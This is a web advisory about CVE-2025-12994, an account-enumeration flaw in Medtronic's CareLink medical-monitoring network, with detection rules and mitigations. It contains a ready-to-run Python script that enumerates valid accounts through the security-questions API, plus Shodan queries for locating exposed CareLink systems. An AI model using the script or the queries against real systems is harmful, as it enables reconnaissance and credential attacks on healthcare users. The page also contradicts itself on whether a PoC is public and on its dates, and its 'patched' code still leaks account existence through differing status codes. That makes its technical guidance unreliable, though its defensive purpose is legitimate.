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[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-204
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-12994

CVE-2025-12994 Information Disclosure in Medtronic
📅 PUBLISHED: 2025-12-04 20:02 UTC 🔄 UPDATED: 2026-09-26 06:14 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
1.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1589
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-12994 is an information disclosure vulnerability in Medtronic CareLink Network, a medical device ecosystem used for remote patient monitoring. An unauthenticated remote attacker can query a specific API endpoint to determine if a user account is valid by observing response discrepancies (e.g., different error messages or status codes). This account enumeration flaw does not grant direct access to patient data or device control, but it significantly lowers the barrier for targeted social engineering or credential-stuffing attacks. The CVSS score is 5.3 (Medium), with no public exploit code or proof-of-concept currently available. The vendor has not released a patch as of the advisory date, and the vulnerability is expected to be remediated by December 4, 2025.

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Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary medical device network platform. No supply chain implications are identified.

CVSS Breakdown & Threat Level

  • Base Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – unauthenticated.
  • User Interaction: None (UI:N) – no victim action needed.
  • Scope: Unchanged (S:U) – impact confined to the vulnerable component.
  • Confidentiality: Low (C:L) – only account existence is leaked.
  • Integrity: None (I:N) – no data modification.
  • Availability: None (A:N) – no denial of service.

Threat Level: Medium. While the direct impact is limited to account enumeration, this information can be weaponized for targeted phishing, credential stuffing, or further reconnaissance against healthcare infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the CareLink Network’s REST API endpoint responsible for handling security questions (e.g., password reset or account recovery). The endpoint likely accepts a username or email address and returns different responses based on whether the account exists. For example:

  • Valid account: Returns a success response (e.g., 200 OK with a list of security questions).
  • Invalid account: Returns an error (e.g., 404 Not Found or 400 Bad Request with a generic message).

This observable discrepancy allows an attacker to enumerate valid user accounts without authentication. The attack flow:

  1. Attacker sends a POST/GET request to /api/security-questions with a candidate username.
  2. Server responds with distinct HTTP status codes or response bodies.
  3. Attacker iterates through a list of usernames (e.g., from leaked databases or common medical staff names) to build a list of valid accounts.
  4. Valid accounts are then targeted with credential-stuffing or phishing campaigns.

The vulnerability is classified under CWE-204 (Observable Response Discrepancy), which is a common flaw in authentication and account recovery mechanisms.

Vulnerable vs. Patched Code

Since no patch details are available, the following is a hypothetical comparison based on typical remediation patterns.

Vulnerable Code (Conceptual):

@app.route('/api/security-questions', methods=['POST'])
def get_security_questions():
    username = request.json.get('username')
    user = User.query.filter_by(username=username).first()
    if user:
        return jsonify({"questions": user.security_questions}), 200
    else:
        return jsonify({"error": "User not found"}), 404

Patched Code (Conceptual):

@app.route('/api/security-questions', methods=['POST'])
def get_security_questions():
    username = request.json.get('username')
    user = User.query.filter_by(username=username).first()
    # Always return a generic response to prevent enumeration
    if user:
        # Log the request for auditing
        app.logger.info(f"Security questions requested for {username}")
        return jsonify({"questions": user.security_questions}), 200
    else:
        # Return same status and generic message
        return jsonify({"error": "Invalid request"}), 400

The patch ensures that both valid and invalid accounts return the same HTTP status code (e.g., 400) and a generic error message, eliminating the observable discrepancy.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Python 3.x with requests library.
  • A list of potential usernames (e.g., usernames.txt).

Exploit Script:

import requests
import sys

def enumerate_accounts(target_url, username_list):
    endpoint = f"{target_url}/api/security-questions"
    valid_accounts = []
    for username in username_list:
        payload = {"username": username}
        try:
            response = requests.post(endpoint, json=payload, timeout=10)
            # Adjust condition based on actual response behavior
            if response.status_code == 200:
                valid_accounts.append(username)
                print(f"[+] Valid account: {username}")
            else:
                print(f"[-] Invalid: {username} (Status: {response.status_code})")
        except Exception as e:
            print(f"[!] Error: {e}")
    return valid_accounts

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <target_url> <username_file>")
        sys.exit(1)
    target = sys.argv[1].rstrip('/')
    with open(sys.argv[2], 'r') as f:
        usernames = [line.strip() for line in f if line.strip()]
    valid = enumerate_accounts(target, usernames)
    print(f"\n[+] Found {len(valid)} valid accounts: {valid}")

Usage:

python exploit.py https://carelink.example.com usernames.txt

Blue Team (Defender)

Detection & Response:

  • Monitor API logs for repeated requests to /api/security-questions with different usernames from the same IP.
  • Implement rate limiting on the endpoint (e.g., 5 requests per minute per IP).
  • Use Web Application Firewall (WAF) rules to block requests with suspicious patterns (e.g., sequential usernames).
  • Enable logging of all account recovery attempts and correlate with failed login attempts.

Honeypot:

  • Deploy a fake endpoint that returns a generic success response for all requests, logging the attacker’s IP and payload.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Repeated POST requests to /api/security-questions with varying username parameters.
    • Source IPs performing sequential or dictionary-based username enumeration.
    • HTTP responses with status code 200 for account recovery requests (indicating valid account found).
  • Log IOCs:

    • Multiple 200 OK responses from /api/security-questions for different usernames from the same IP.
    • Anomalous high volume of requests to the endpoint within a short time window.
  • File IOCs:

    • Presence of username lists (e.g., usernames.txt, accounts.txt) on compromised systems.

Detection Engineering

YARA Rule

rule CVE_2025_12994_Account_Enumeration {
    meta:
        description = "Detects potential account enumeration attempts against Medtronic CareLink Network"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-12994"
    strings:
        $api_endpoint = "/api/security-questions"
        $username_field = "\"username\""
        $success_response = "\"questions\""
    condition:
        # of ($api_endpoint) > 0 and # of ($username_field) > 0 and # of ($success_response) > 0
}

Sigma Rule

title: Medtronic CareLink Account Enumeration Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple requests to the security questions API endpoint with different usernames
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: '/api/security-questions'
        cs-method: 'POST'
    condition: selection | count() by src_ip > 10 within 60 seconds
falsepositives:
    - Legitimate password reset attempts by multiple users from same IP (e.g., NAT)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-12994 Medtronic CareLink Account Enumeration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/security-questions"; http_uri;
    content:"\"username\""; http_client_body;
    threshold: type both, track by_src, count 10, seconds 60;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Apply Vendor Patch: As soon as Medtronic releases a patch (expected by December 4, 2025), apply it to all CareLink Network instances.
  2. Rate Limiting: Configure the web server or API gateway to limit requests to /api/security-questions to 5 requests per minute per IP.
  3. Generic Error Responses: Modify the API to return identical HTTP status codes and messages for both valid and invalid accounts.
  4. Logging & Monitoring: Enable detailed logging for account recovery endpoints and set up alerts for anomalous request patterns.

Long-Term Hardening:

  • Implement CAPTCHA or proof-of-work challenges on sensitive endpoints.
  • Use multi-factor authentication (MFA) for all user accounts.
  • Conduct regular security assessments of API endpoints for information disclosure flaws.
  • Segment the CareLink Network from public internet access where possible.

Workaround:

  • If patching is not immediately possible, block external access to the /api/security-questions endpoint using a WAF or firewall rule.

Valters IT
Securing Healthcare, One Vulnerability at a Time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"CareLink"
ssl:"Medtronic CareLink"

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